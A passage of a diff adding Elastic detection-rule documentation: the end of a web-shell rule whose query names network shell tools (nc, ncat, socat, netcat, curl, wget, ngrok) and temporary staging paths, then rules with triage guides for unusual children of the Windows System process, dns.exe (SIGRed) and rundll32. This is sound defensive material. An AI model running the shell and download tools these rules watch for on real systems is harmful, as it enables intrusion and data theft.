lsphp* + ) or + process.parent.name:ruby* and process.parent.command_line:(*passenger* or *puma* or *rails*) or + process.parent.name:python* and process.parent.command_line:( + *app.py* or *asgi.py* or *django* or *flask* or *hypercorn* or *server.py* or *uvicorn* or *wsgi.py* + ) or + process.parent.name:perl* and process.parent.command_line:*plackup* or + process.parent.name:java and process.parent.args:( + com.atlassian.jira.startup.Launcher or com.caucho.server.resin.Resin or com.google.gerrit.pgm.Daemon or + com.ibm.ws.kernel.boot.cmdline.Bootstrap or com.ibm.ws.runtime.WsServer or + com.sun.enterprise.glassfish.bootstrap.ASMain or io.dropwizard.cli.ServerCommand or + io.helidon.microprofile.server.Main or io.micronaut.runtime.Micronaut or io.quarkus.runner.GeneratedMain or + io.vertx.core.Launcher or org.apache.catalina.startup.Bootstrap or org.eclipse.jetty.start.Main or + org.elasticsearch.bootstrap.Elasticsearch or org.jboss.modules.Main or play.core.server.ProdServerStart or + weblogic.Server or *-Dsolr.solr.home=* or *BitbucketServerLauncher* or *jenkins.war* or *quarkus-run.jar* or + *weblogic-launcher.jar* or -Dcatalina.base=* or -Djboss.home.dir=* or -Djetty.home=* or -Dweblogic.Name=* or + io.helidon.webserver* or org.apereo.cas* or org.keycloak* or org.springframework.boot.loader.* + ) +) and +process.executable:* and process.command_line:* and +not ( + process.name:( + arp or aws or az or base16 or base32 or base64 or base64mime or base64pem or base64plain or base64url or + basenc or basez or bash or busybox or cat or chmod or chpasswd or cp or crictl or csh or ctr or curl or dash or + df or dig or docker or du or fish or gcloud or helm or host or htop or ifconfig or ip or ksh or kubectl or ln or + lsblk or lsof or ltrace or mkdir or mksh or mv or nc or nc.openbsd or nc.traditional or ncat or netcat or ngrok or + nmap or nslookup or openssl or passwd or rm or sh or socat or ss or strace or sudo or tcpdump or tcsh or telnet or + top or touch or traceroute or wget or whoami or xxd or zsh or *.bin or *.elf or *.jar or *.lua* or *.mjs or + *.js or *.php* or *.pl or *.py or *.rb or *.sh or .* + ) or + process.executable:( + ./* or /boot/* or /dev/shm/* or /home/*/* or /lost+found/* or /proc/* or /root/* or /run/* or /sys/* or /tmp/* or + /var/mail/* or /var/run/* or /var/tmp/* or /var/www/* or "/usr/bin/ffprobe" or "/usr/bin/ffmpeg" + ) or + process.parent.name:java and not process.parent.executable:/u0*/* or + process.working_directory:(/u0*/*/sysman/emd or /u0*/app/oracle/product/*/db_* or /u0*/app/oracle/product/*/dbhome_* or /var/www/*edoc*) or + process.args:(/usr/bin/rsvg-convert* or /usr/local/bin/wkhtmltopdf*) or + process.command_line:*/opt/sc/bin/showvulns* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-process-from-a-system-virtual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-process-from-a-system-virtual-process.asciidoc new file mode 100644 index 0000000000..a2ce7d93df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-process-from-a-system-virtual-process.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-unusual-child-process-from-a-system-virtual-process]] +=== Unusual Child Process from a System Virtual Process + +Identifies a suspicious child process of the Windows virtual system process, which could indicate code injection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Child Process from a System Virtual Process* + + + +*Possible investigation steps* + + +- Does the alert prove a real PID 4 child outside normal System-process exclusions? + - Focus: alert-local `process.parent.pid`, `process.parent.name`, `process.parent.executable`, `process.executable`, and `process.command_line`. + - Implication: escalate when PID 4 spawned a non-standard user-mode child whose path or command does not fit a signed system helper; lower suspicion only when identity and context fit one recognized boot, servicing, driver, security, or virtualization helper. +- Is the child binary identity consistent with the claimed system component? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when path, hash, original file name, or signer conflicts with the claimed binary, especially from user-writable or unusual system paths; lower suspicion only when signer, hash history, and path converge on one recognized product. +- Does the child show drop, rename, or hollowing clues at start? + - Focus: `process.Ext.relative_file_creation_time`, `process.Ext.relative_file_name_modify_time`, `process.Ext.created_suspended`, and `process.command_line`. !{investigate{"description":"","label":"File events for the child executable path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the executable is newly created or renamed, starts suspended, or invokes script/LOLBins; older stable timing and a product-consistent command lower concern but do not clear abnormal parentage alone. +- Which account, session, and token context owned the child? + - Focus: `user.id`, `process.Ext.authentication_id`, `process.Ext.session_info.logon_type`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate when a PID 4 child appears in an interactive, remote, or unexpected user context, or carries a token that does not fit the helper role; service or boot context lowers concern only when identity and behavior align. +- Did the child launch follow-on processes that reveal intent? + - Why: injected code can use a trusted or privileged process as a launcher, so the child process's descendants may be the first visible operator action. + - Focus: child process events from `process.entity_id`, reading `process.executable`, `process.command_line`, and `process.Ext.ancestry`. !{investigate{"description":"","label":"Process descendants spawned by the System-spawned child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when descendants are scripting engines, admin tools, renamed binaries, or commands that do not fit the child identity; no descendants lowers urgency but does not clear abnormal identity, session, or timing. +- If local evidence remains suspicious or unresolved, does the same child identity appear outside this host? + - Focus: same-host related alerts plus process starts for `process.hash.sha256`, `process.executable`, and `process.code_signature.subject_name`. !{investigate{"description":"","label":"Process starts for the same child identity","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"process.hash.sha256","queryType":"phrase","value":"{{process.hash.sha256}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same child identity, signer mismatch, or descendant pattern appears on unrelated hosts; keep localized only when confined to one clean workflow on one host. +- Escalate on abnormal or contradictory parentage, identity, start-state, session/token, descendant, or scope evidence; close only when all support one signed workflow; preserve and escalate when mixed or incomplete. + + +*False positive analysis* + + +- Endpoint security, virtualization, hardware, driver, servicing, or boot workflows can legitimately spawn signed helpers from PID 4. Confirm `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, session/token context, command line, start-state timing, and descendants all align with the same product or Microsoft servicing sequence. Use inventory or change records only after telemetry matches; if unavailable, require the same stable child identity and bounded descendant pattern to recur for the same `host.id` across prior alerts from this rule before exceptioning. +- Before creating an exception, require recurrence for the same `host.id` plus stable `process.hash.sha256`, `process.executable`, `process.code_signature.subject_name`, and command or descendant pattern. Avoid exceptions on `process.parent.pid`, `process.name`, or the System parent condition alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the signed maintenance, security, driver, virtualization, or servicing workflow that matched the child identity, session/token context, command line, and descendant process pattern. Create an exception only after the same bounded pattern recurs. +- If suspicious but unconfirmed, preserve the alert event, child and parent entity IDs, binary identity, command line, signer, session/token context, and descendant process events before containment. Apply reversible containment first; isolate only if the host role can tolerate it and the child or descendants show active suspicious behavior. +- If confirmed malicious, isolate the host when process identity, session/token context, start-state clues, or descendant behavior establish unauthorized activity. Before termination, record the child and descendant process identifiers, command lines, hashes, signer details, and timeline evidence. Terminate the malicious child and descendants only after preservation, then remove only confirmed malicious artifacts or persistence changes identified during response and scope other hosts for the same child identity. +- Post-incident hardening should determine why the System process spawned the child, review the responsible driver, service, security product, or exploit path, retain process telemetry needed for PID 4 parentage and descendant analysis, and document any adjacent blind spots for follow-up. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.pid == 4 and process.executable : "?*" and + not process.executable : ("Registry", "MemCompression", "?:\\Windows\\System32\\smss.exe", "HotPatch") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-process-of-dns-exe.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-process-of-dns-exe.asciidoc new file mode 100644 index 0000000000..b972176815 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-process-of-dns-exe.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-unusual-child-process-of-dns-exe]] +=== Unusual Child Process of dns.exe + +Identifies an unexpected process spawning from dns.exe, the process responsible for Windows DNS server services, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://github.com/maxpl0it/CVE-2020-1350-DoS +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Child Process of dns.exe* + + +*Possible investigation steps* + + +- What did "dns.exe" launch, and does that define a crash path or live execution path? + - Focus: `process.name`, `process.executable`, `process.command_line`, and `process.parent.executable`. + - Implication: escalate quickly for shells, script hosts, downloaders, service tools, or non-Windows paths spawned by "dns.exe"; a bounded "WerFault.exe" crash-reporting child points toward DNS service fault or SIGRed DoS, but still needs follow-on checks. +- Is the child binary a recognized system or DNS-support component, or a disguised payload? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the child is unsigned, renamed, user-writable, newly seen, or PE-mismatched; a recognized Microsoft or vendor identity lowers only identity concern and does not clear unexpected execution from "dns.exe". +- What intent does the child command line express? + - Focus: `process.command_line`, `process.name`, and `process.Ext.token.integrity_level_name`. + - Implication: escalate for discovery, script interpretation, download, service change, credential, or persistence behavior under the DNS service token; crash-reporting or bounded diagnostic arguments support fault handling. +- Do lineage and session context fit the Windows DNS service? + - Focus: `process.parent.command_line`, `process.parent.entity_id`, `process.Ext.session_info.logon_type`, and `user.id`. + - Implication: escalate when parent, service, or user context does not fit a stable Windows DNS service launch; expected service lineage supports but does not prove a benign child. +- Did the child produce follow-on execution or artifacts after the spawn? + - Focus: recovered file, registry, network, DNS, and descendant process events for `host.id` + child `process.entity_id`, or `host.id` + `process.pid` in a tight alert window. + - !{investigate{"description":"","label":"File and registry events for the same child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Network events for the same child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Child process events from the dns.exe child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: prioritize descendant `process.command_line`, `file.path`, `registry.path`, and `destination.ip`. Missing network telemetry is unresolved, not benign. + - Implication: escalate when recovered events show descendants, payload staging, persistence changes, or outbound activity; no follow-on activity supports a crash-only hypothesis but cannot clear the alert alone. +- If local evidence remains suspicious or unresolved, do same-host alerts show the same DNS-service execution pattern? + - Focus: same-parent process starts and related alerts on `host.id`, prioritizing `process.parent.name` of "dns.exe", the same child `process.executable`, or the same `process.hash.sha256`. + - !{investigate{"description":"","label":"Process events from the same dns.exe parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: broaden scope only after child identity, command intent, lineage, or follow-on recovery remains suspicious or incomplete. + - Implication: escalate scope when related alerts repeat the "dns.exe" child pattern or child binary identity; unrelated or nonmatching alerts keep the case narrower. +- Escalate for live execution intent, suspicious identity or lineage, or recovered post-exploitation artifacts; close only when evidence tightly binds one crash-handling or recognized DNS-support workflow on this host; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Crash handling can legitimately produce "WerFault.exe" after a DNS service fault or SIGRed DoS attempt. Confirm that child identity, `process.command_line`, signer, and `host.id` form a crash-reporting pattern and recovered follow-on endpoint activity does not contradict it. Use incident records only as corroboration; telemetry-only closure requires a crash-reporter-only pattern on the same `host.id` without payload descendants or artifact creation. +- Named DNS/security tooling, such as ReasonLabs DNS components in the rule exclusions, explains the alert only when exact `process.executable`, `process.code_signature.subject_name`, `process.command_line`, `process.parent.executable`, and `host.id` match that product workflow. Treat generic vendor claims, partial matches, or a trusted signer without matching behavior as unresolved. +- Before creating an exception, anchor it on exact child path, signer or certificate thumbprint when available, command line, parent DNS service path, and affected `host.id`. Avoid exceptions on `process.parent.name` of "dns.exe", `process.name` alone, or the entire host. + + +*Response and remediation* + + +- If suspicious but unconfirmed, preserve the child `process.entity_id`, `process.executable`, `process.hash.sha256`, signer details, `process.command_line`, `process.parent.command_line`, crash dumps, recovered endpoint events, and any collected payload artifacts before containment. +- Apply reversible containment before destructive action: remove the server from DNS rotation, restrict external resolver exposure, or heighten monitoring on the affected `host.id`. Move to host isolation only when follow-on execution or broader compromise evidence shows the server cannot serve safely. +- If confirmed benign, reverse temporary containment and record the exact child path, signer, command line, parent DNS service path, and `host.id` that proved the crash-handling or DNS-support workflow. Create an exception only after the same pattern is stable across prior alerts. +- If confirmed malicious, weigh DNS/domain-controller criticality, then isolate the server when feasible, terminate the suspicious child and descendants after evidence capture, and block confirmed malicious domains, IPs, hashes, or payload paths identified during triage. +- Scope other DNS servers and domain controllers for the same child path, hash, command line, signer, or "dns.exe" child-process pattern before deleting artifacts or rebuilding systems. +- Eradicate only payloads, persistence changes, or malicious child processes identified during the investigation, restore DNS service configuration from known-good state, and reset credentials only if evidence shows credential exposure or lateral movement from the server. +- Post-incident hardening: apply the Microsoft DNS security update for CVE-2020-1350, remove temporary SIGRed workarounds only after patching is verified, and retain process plus file, registry, and network telemetry for DNS servers where gaps limited triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "dns.exe" and + not process.executable : ( + "?:\\Windows\\System32\\conhost.exe", + "?:\\Windows\\System32\\dns.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\conhost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\dns.exe", + "\\Device\\HarddiskVolume*\\Program Files\\ReasonLabs\\*" + ) and + not ?process.parent.executable : "?:\\Program Files\\ReasonLabs\\DNS\\ui\\DNS.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-processes-of-rundll32.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-processes-of-rundll32.asciidoc new file mode 100644 index 0000000000..ec0871a7a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-child-processes-of-rundll32.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-unusual-child-processes-of-rundll32]] +=== Unusual Child Processes of RunDLL32 + +Identifies a no-argument or malformed Rundll32 launch followed by child process execution. This unusual sequence can indicate Rundll32 abuse for proxy execution or payload handoff. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Child Processes of RunDLL32* + + + +*Possible investigation steps* + + +- Which source events define the no-argument "rundll32.exe" parent and the spawned child? + - Why: this asymmetric sequence has no single safe process identity; recover source events before interpreting grouped meaning or pivoting. + - Focus: Timeline source events for the sequence, recording parent and child `process.entity_id`, child `process.parent.entity_id`, `host.id`, and `user.id`. + - Implication: escalate when recovered events show one no-argument "rundll32.exe" handing off to an unexpected child; lower suspicion only when recovery shows a parser/quoting artifact and the child is signed, stable, and path-consistent for the same user and host. + +- Does the recovered "rundll32.exe" event truly lack a DLL, export, or Control_RunDLL-style target? + - Why: normal Rundll32 proxy execution names a DLL/export, ordinal, script target, or Control Panel handler; this rule covers empty or malformed invocation that still spawns a child. + - Focus: parent `process.command_line`, `process.args_count`, `process.executable`, and `process.pe.original_file_name`. + - Implication: escalate when `process.args_count` and `process.command_line` confirm only the image path or a malformed target; lower suspicion only when source recovery proves a quoting/parser artifact and the exact parent-child command pattern is stable. + +- What did the recovered child process do, and does its identity fit that parent chain? + - Focus: child `process.executable`, `process.command_line`, `process.pe.original_file_name`, code signature, and descendant process starts. + - Hint: after recovering the child `process.entity_id` from source events, pivot manually on that ID for descendants; the final sequence alert may not preserve a child-specific entity ID. + - Implication: escalate when the child is a shell, script host, network utility, unsigned payload, user-writable binary, or mismatched original file name; lower suspicion when the child is signed, path-consistent, and matches the exact recovered wrapper pattern. Identity alone does not clear the behavior. + +- What launched "rundll32.exe", and does the user-host context explain the handoff? + - Focus: parent `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, `user.name`, and `user.domain`. + - Implication: escalate when the launcher is Office, a browser, archive utility, script host, temp-path executable, or a lineage unusual for that `user.id` and `host.id`; lower suspicion only when the same parent executable, command line, child path, signer, and host/user scope recur without artifact or network contradictions. + +- If library telemetry is available after source-event recovery, did the recovered process load a hidden or recently staged DLL? + - Focus: library events for recovered `host.id` and each `process.entity_id`, checking `dll.path`, `dll.hash.sha256`, signer, trust, and `dll.Ext.relative_file_creation_time`. + - Hint: query library events separately for the recovered parent and child IDs; missing library telemetry limits DLL corroboration but does not clear the process evidence. + - Implication: escalate when a DLL loads from a user-writable, unrelated, unsigned, or recently created path; lower suspicion when library identity, signer, and path relationship fit the recovered parent-child workflow. + +- If file or network telemetry is available after source-event recovery, did the chain stage payloads or reach suspicious infrastructure? + - Focus: file and network events for recovered `host.id` and each `process.entity_id`, checking `file.path`, `file.Ext.windows.zone_identifier`, DNS `dns.question.name`, connection `destination.ip`, and `destination.port`. + - Hint: separate DNS lookup events from connection events before interpreting them. Missing network telemetry is unresolved, not benign. + - Implication: escalate when the chain writes executable or scriptable artifacts, carries internet provenance, or connects to rare external infrastructure; lower suspicion when optional activity stays inside the recovered parent-child workflow. + +- If local evidence remains suspicious or unresolved, do related alerts show the same user, host, or child-process pattern? + - Focus: recent alerts for `user.id`, `host.id`, child `process.executable`, child `process.hash.sha256`, or a distinctive `process.command_line` fragment. + - Hint: use only after source recovery keeps the case suspicious or unresolved. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same user or host repeats Rundll32 proxy-execution, child payload, or related defense-evasion alerts; keep scope local when the suspicious pattern remains isolated and the recovered workflow is tightly explained. + +- Escalate when source recovery, invocation shape, child identity, launcher lineage, DLL/file/network evidence, or recurrence shows "rundll32.exe" proxying unauthorized child execution or payload delivery; close only when recovered process evidence and corroborators tightly bind one exact signed workflow on this host; if evidence is mixed or incomplete, preserve artifacts and escalate. + + +*False positive analysis* + + +- No-argument "rundll32.exe" spawning a child is an operational anti-pattern. Close as benign only when source recovery proves a parser/quoting artifact or authorized reproduction, the child is signed and path-consistent, and no DLL, file, or network evidence contradicts that workflow. Align available inventory, vendor, or test records; otherwise treat prior recurrence for the same `host.id` and stable parent-child anchors as supporting evidence only. +- Build exceptions from the minimum confirmed workflow: parent `process.parent.executable`, child `process.executable`, stable `process.code_signature.subject_name`, command-line shape, host/user scope, and recovered artifact anchors when present. Do not except a first occurrence, unresolved source recovery, missing contradictory-telemetry checks, or "rundll32.exe" alone. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and document the recovered parent-child workflow, source-event IDs, signer, command-line pattern, and corroborating inventory, vendor record, or recurrence that established it. +- If suspicious but unconfirmed: + - Preserve a case export of Timeline source events, recovered process identifiers and command lines, child binary hash, and any recovered DLL, file, or network artifacts before cleanup. + - Apply reversible containment such as temporary network restrictions or heightened monitoring on the affected `host.id` and `user.id`; use host isolation only when child-process or artifact evidence indicates active payload execution and the host role can tolerate isolation. +- If confirmed malicious: + - Preserve the recovered source events, process IDs, command lines, child hashes, DLL or file artifacts, and network indicators, then isolate the host or restrict the account based on the child execution, launcher lineage, artifact, or network evidence. + - Block confirmed malicious child hashes, DLL hashes, staged payload paths, domains, and destination IPs, then review other hosts and users for the same parent-child or artifact pattern before eradication. + - Remove only the malicious DLLs, scripts, or child payloads identified during investigation, remediate the parent launcher or delivery path that invoked "rundll32.exe", and investigate credential exposure if follow-on behavior suggests collection or lateral movement. +- Post-incident hardening: + - Keep process telemetry for "rundll32.exe" and child processes enabled, and enable file, network, or library telemetry where missing evidence limited the case. + - Restrict unusual "rundll32.exe" child-process patterns where the business does not require them, and record any adjacent DLL/export, ordinal, Control Panel, or script-target variants observed in the case. + + +==== Setup + + + 